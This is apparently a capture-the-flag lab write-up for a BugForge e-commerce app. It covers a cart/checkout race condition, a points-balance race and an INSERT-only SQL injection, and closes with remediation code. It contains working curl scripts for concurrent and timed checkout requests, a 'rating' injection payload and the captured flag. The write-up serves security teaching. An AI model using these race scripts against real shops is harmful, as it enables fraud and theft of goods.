Cafe Club: Race Condition — Cart/Checkout TOCTOU
- Vulnerability: Race Condition (TOCTOU), SQL Injection (INSERT-only)
- Key Technique: Cart/checkout time-of-check-time-of-use race — adding expensive items to cart during checkout processing window so they’re included in the order at the previously calculated (lower) total
- Result: Obtained $448.96 of items for $0 and captured the flag
Objective
Find the flag in the Cafe Club e-commerce application.
Initial Access
# Target Application
URL: https://lab-1774194105236-5gtry4.labs-app.bugforge.io
# Auth details
# Registered via POST /api/register
Username: haxor
Password: [user-created]
Auth: JWT HS256 Bearer token (no expiry)
JWT payload: {"id":5,"username":"haxor","iat":1774194129}
Key Findings
-
Race Condition — Cart/Checkout TOCTOU (Critical) — CWE-367: Time-of-check Time-of-use Race Condition. The checkout endpoint reads the cart and calculates the total at the start of processing but doesn’t lock the cart. A ~1s processing window allows adding items after the total is calculated. The final order includes ALL current cart items at the stale (lower) total.
-
Race Condition — Points Balance TOCTOU (High) — CWE-367: Time-of-check Time-of-use Race Condition. Multiple concurrent checkout requests read the same points balance before any deduction occurs, allowing the same points to be spent multiple times.
-
SQL Injection — Review Rating INSERT (Low) — CWE-89: SQL Injection. The
ratingfield in POST/api/products/:id/reviewsis interpolated into an INSERT query.parseIntvalidation passes strings like"5 OR 1=1"(returns 5) but the full string reaches the DB. INSERT-only context with no data extraction.
Attack Chain Visualization
┌─────────────────────┐
│ 1. Reconnaissance │
│ Map 17 API │
│ endpoints from │
│ JS bundle │
└────────┬────────────┘
│
▼
┌─────────────────────┐
│ 2. Test Business │
│ Logic Controls │
│ Mass assignment, │
│ IDOR, gift cards │
│ → all validated │
└────────┬────────────┘
│
▼
┌─────────────────────┐
│ 3. Points Race │
│ Concurrent │
│ checkouts read │
│ same balance │
│ 8 pts → 3500+ pts │
└────────┬────────────┘
│
▼
┌─────────────────────────────────────────┐
│ 4. Cart/Checkout TOCTOU │
│ │
│ t=0ms Add Coffee Filters ($8.99) │
│ t=50ms Fire checkout (total=$8.99) │
│ t=200ms Add Espresso Machine ($299.99)│
│ Add Coffee Grinder ($89.99) │
│ Add Milk Frother ($49.99) │
│ t=2100ms Checkout completes │
│ Order has ALL 4 items │
│ Total charged: $0 │
└────────┬────────────────────────────────┘
│
▼
┌─────────────────────┐
│ 5. Flag Captured │
│ promotional_code │
│ returned in │
│ checkout response │
└─────────────────────┘
Application Architecture
| Component | Path | Description |
|---|---|---|
| Frontend | React SPA (static/js/main.f72d2718.js) |
Single-page app with all API routes visible in bundle |
| Backend | Express.js (X-Powered-By: Express) |
REST API with JWT Bearer auth |
| Database | SQLite | Integer IDs, inferred from error behavior |
| Auth | JWT HS256 | No expiry, user id/username in payload |
Exploitation Path
Step 1: Reconnaissance — API Endpoint Mapping
Extracted all 17 API endpoints from the React JS bundle. Key endpoints for the attack:
| Endpoint | Method | Purpose |
|---|---|---|
/api/cart |
GET, POST | View/add cart items |
/api/checkout |
POST | Process order with points/gift card/credit card |
/api/products |
GET | List 16 products ($8.99-$299.99) |
/api/giftcards |
GET | List gift cards and balance |
/api/giftcards/redeem |
POST | Redeem gift card code |
/api/profile |
GET, PUT | User profile with points balance |
/api/products/:id/reviews |
POST | Submit product reviews |
Identified business logic: points system (1 point = $0.01), gift cards (fixed $25 denominations), checkout flow (cart total → subtract points → subtract gift card → charge card).
Step 2: Business Logic Testing (Dead Ends)
Systematically tested for common e-commerce vulnerabilities:
- Mass assignment (profile PUT): Server filters — only updates
full_name,address,phone,email. Points/role ignored. - Mass assignment (register):
role/pointsfields ignored at registration. - Gift card manipulation: Negative, 0, 0.01, 999999 amounts all rejected. Fixed denominations only.
- Price injection: Extra fields (
price,total) in cart/checkout requests ignored. Server calculates from DB. - Negative cart quantity: “Valid product ID and quantity are required.”
- IDOR on orders: Filtered by
user_idfrom JWT — can’t view other users’ orders. - Hidden endpoints:
/api/admin,/api/users,/api/flag,/api/config,/api/debugall return SPA HTML fallback. - Hidden checkout fields:
coupon_code,promo_code,discount_codeall ignored.
All standard business logic vectors were properly validated.
Step 3: SQL Injection Discovery
Found injectable rating field in POST /api/products/:id/reviews:
POST /api/products/1/reviews HTTP/2
Content-Type: application/json
Authorization: Bearer <jwt>
{"rating": "5 OR 1=1", "comment": "test"}
parseInt("5 OR 1=1") returns 5 (passes 1-5 validation), but the full string reaches the INSERT query. Result: 500 “Database error”. However, INSERT-only context with no stacked queries and generic error messages — no data extraction possible. Low impact.
Step 4: Points Balance Race Condition
Tested concurrent checkout requests and confirmed TOCTOU on the points balance:
# 3 concurrent checkouts from a 16-point balance
# Each reads balance=16, passes points_to_use<=16 check
# All 3 succeed — 48 points spent from 16-point balance
for i in {1..3}; do
curl -s -X POST "$HOST/api/checkout" \
-H "Authorization: $TOKEN" \
-H "Content-Type: application/json" \
-d '{"points_to_use":16,"use_gift_card":false,"card_number":"4444 4444 4444 4444","card_expiry":"12/25","card_cvc":"123"}' &
done
wait
Scaled up to farm points: 15 concurrent Espresso Machine ($299.99) checkouts from 8 points, each earning floor(299.99) = 299 points. Accumulated 3500+ points.
Step 5: Cart/Checkout TOCTOU — The Kill Shot
Key insight: the checkout endpoint has a ~1s processing window. During this window, items added to the cart are included in the order but not in the total calculation.
TOKEN="Bearer <jwt>"
HOST="https://lab-1774194105236-5gtry4.labs-app.bugforge.io"
# 1. Add cheap item to cart
curl -s -X POST "$HOST/api/cart" \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN" \
-d '{"product_id":14,"quantity":1}'
# 2. Fire checkout (calculates total = $8.99)
curl -s -X POST "$HOST/api/checkout" \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN" \
-d '{"points_to_use":899,"use_gift_card":false,"card_number":"4444 4444 4444 4444","card_expiry":"12/25","card_cvc":"123"}' &
# 3. 150ms later, add expensive items
sleep 0.15
curl -s -X POST "$HOST/api/cart" \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN" \
-d '{"product_id":9,"quantity":1}' & # Espresso Machine $299.99
curl -s -X POST "$HOST/api/cart" \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN" \
-d '{"product_id":10,"quantity":1}' & # Coffee Grinder $89.99
curl -s -X POST "$HOST/api/cart" \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN" \
-d '{"product_id":11,"quantity":1}' & # Milk Frother $49.99
wait
Checkout response:
{
"message": "Order placed successfully",
"order_id": 54,
"total": 0,
"gift_card_used": 0,
"points_used": 899,
"points_earned": 0,
"new_points_balance": 1537,
"promotional_code": "bug{VBxyJ5hX4y3vMPA7RYNQnAUVfPgahmCC}"
}
Order #54 contained all 4 items ($448.96 total value) but was charged $0 (899 points covered the $8.99 calculated total). The server returned the flag as promotional_code because the order value massively exceeded the amount paid.
Flag / Objective Achieved
Flag: bug{VBxyJ5hX4y3vMPA7RYNQnAUVfPgahmCC}
Returned as promotional_code in the checkout response for Order #54:
- Items ordered: Espresso Machine ($299.99), Coffee Grinder ($89.99), Milk Frother ($49.99), Coffee Filters ($8.99)
- Total value: $448.96
- Amount charged: $0 (899 points covered the $8.99 stale total)
Key Learnings
- TOCTOU in e-commerce: Checkout flows that read cart contents and calculate totals without locking the cart are vulnerable to race conditions. The total must be calculated atomically with the order creation.
- Race conditions chain together: The points balance race enabled the cart/checkout race. Without farmed points, the cheap item’s cost would still need payment.
- Business logic > injection: Extensive SQLi testing found only a low-impact INSERT injection. The critical vulnerability was pure business logic — no traditional web vuln class.
- JS bundle is a goldmine: All 17 API endpoints were extracted from the React bundle before any testing began. Full API surface mapping in seconds.
- Timing matters: The 150ms delay between checkout and cart additions was crucial. Too early and checkout hadn’t started processing; too late and the order was already created.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| Mass assignment on profile (points/role) | Server filtered writes | Only full_name, address, phone, email writable |
| Mass assignment on register | Role/points ignored | Server-side defaults enforced |
| Gift card amount manipulation | Strict validation | Fixed denominations only ($25) |
| Price/total injection in cart/checkout | Fields ignored | Server-side pricing from DB |
| Negative cart quantity | Validation error | Input validation on quantity |
| IDOR on orders | “Order not found” | Filtered by user_id from JWT |
| Hidden admin endpoints | SPA fallback HTML | Endpoints don’t exist |
| Hidden checkout fields (coupon_code, promo_code) | Ignored by server | Not implemented |
| SQLi on login | No effect | Parameterized queries |
| SQLi on product ID/reviews GET | No effect | parseInt + parameterized queries |
| Type confusion (array/null/bool as points_to_use) | Coerced to valid values | Array [5] → 5, null → 0 |
Tools Used
| Tool | Purpose |
|---|---|
| curl | API endpoint testing, race condition exploitation |
| Browser DevTools | JS bundle analysis, API endpoint extraction |
| Bash (background jobs + sleep) | Race condition timing orchestration |
| jq | JSON response parsing |
Remediation
1. Cart/Checkout TOCTOU Race Condition (CVSS: 9.1 - Critical)
Issue: Checkout calculates total from cart contents at the start of processing but doesn’t lock the cart. Items added during the ~1s processing window are included in the order at the stale total. CWE Reference: CWE-367 — Time-of-check Time-of-use (TOCTOU) Race Condition
Fix:
// BEFORE (Vulnerable)
app.post('/api/checkout', async (req, res) => {
const cart = await getCart(req.user.id);
const total = calculateTotal(cart);
// ... long processing (payment, validation) ...
const order = await createOrder(req.user.id, cart, total);
// Cart items added between getCart() and createOrder() are included
// but not reflected in total
});
// AFTER (Secure)
app.post('/api/checkout', async (req, res) => {
await db.run('BEGIN EXCLUSIVE TRANSACTION');
try {
// Snapshot cart items within transaction
const cart = await getCart(req.user.id);
const total = calculateTotal(cart);
// Clear cart immediately to prevent additions
await clearCart(req.user.id);
// Process payment and create order
const order = await createOrder(req.user.id, cart, total);
await db.run('COMMIT');
} catch (err) {
await db.run('ROLLBACK');
throw err;
}
});
2. Points Balance TOCTOU Race Condition (CVSS: 7.5 - High)
Issue: Multiple concurrent checkout requests read the same points balance before any deduction, allowing the same points to be spent N times. CWE Reference: CWE-367 — Time-of-check Time-of-use (TOCTOU) Race Condition
Fix:
-- BEFORE (Vulnerable): Read then update in separate operations
SELECT points FROM users WHERE id = ?;
-- ... validate points_to_use <= points ...
UPDATE users SET points = points - ? WHERE id = ?;
-- AFTER (Secure): Atomic check-and-deduct with row-level locking
UPDATE users SET points = points - ?
WHERE id = ? AND points >= ?;
-- Check affected rows — 0 means insufficient balance
3. SQL Injection — Review Rating (CVSS: 3.7 - Low)
Issue: The rating field is interpolated into an INSERT query after parseInt validation. While parseInt prevents most exploitation, the raw string reaches the database.
CWE Reference: CWE-89 — SQL Injection
Fix:
// BEFORE (Vulnerable)
const query = `INSERT INTO reviews (product_id, user_id, rating, comment)
VALUES (${productId}, ${userId}, ${rating}, '${comment}')`;
// AFTER (Secure)
const query = `INSERT INTO reviews (product_id, user_id, rating, comment)
VALUES (?, ?, ?, ?)`;
db.run(query, [productId, userId, parseInt(rating), comment]);
OWASP Top 10 Coverage
- A04:2021 — Insecure Design: The checkout flow lacks race condition protections. Cart contents aren’t locked during checkout processing, and points balance checks aren’t atomic.
- A03:2021 — Injection: SQL injection in the review rating field, though limited to INSERT context with no data extraction.
- A08:2021 — Software and Data Integrity Failures: The order total is calculated at one point in time but the order is created from a potentially different cart state.
References
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command
- OWASP Race Condition
- PortSwigger: Race Conditions
Tags: #race-condition #TOCTOU #e-commerce #business-logic #SQLi #BugForge
Document Version: 1.0
Last Updated: 2026-03-22